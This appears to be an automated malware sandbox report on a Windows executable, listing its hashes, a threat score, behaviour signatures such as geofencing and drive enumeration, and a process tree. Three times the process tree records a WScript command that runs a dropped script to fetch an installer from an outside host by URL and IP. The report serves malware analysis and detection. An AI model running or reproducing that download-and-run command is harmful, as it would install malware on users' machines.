Analysis

  • max time kernel
    185s
  • max time network
    194s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28/11/2022, 05:09

General

  • Target

    ad26fe1309eee26284e1bca398affe2f9af206a4c680e410807f17535f361553.exe

  • Size

    184KB

  • MD5

    298adbf57861300fbf94267d1eb76b03

  • SHA1

    057cb878aa5b711bcc1f8865f897ae15c94effb0

  • SHA256

    ad26fe1309eee26284e1bca398affe2f9af206a4c680e410807f17535f361553

  • SHA512

    17108688664bd63f44af81334c04c5eed5c6550b3159c4fdaccf2be3ce9eed9958ade54325786c77cb4eeb575a69c8592f326628ba903e8473bd8723a0c1b6af

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3i:/7BSH8zUB+nGESaaRvoB7FJNndnv

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 10 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies registry class 1 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ad26fe1309eee26284e1bca398affe2f9af206a4c680e410807f17535f361553.exe
    "C:\Users\Admin\AppData\Local\Temp\ad26fe1309eee26284e1bca398affe2f9af206a4c680e410807f17535f361553.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:4656
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2357.js" http://www.djapp.info/?domain=nLThYQVTym.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf2357.exe
      2⤵
      • Blocklisted process makes network request
      PID:1540
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2357.js" http://www.djapp.info/?domain=nLThYQVTym.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf2357.exe
      2⤵
      • Blocklisted process makes network request
      PID:2144
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2357.js" http://www.djapp.info/?domain=nLThYQVTym.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf2357.exe
      2⤵
      • Blocklisted process makes network request
      PID:968

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Temp\fuf2357.js

          Filesize

          3KB

          MD5

          3813cab188d1de6f92f8b82c2059991b

          SHA1

          4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

          SHA256

          a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

          SHA512

          83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76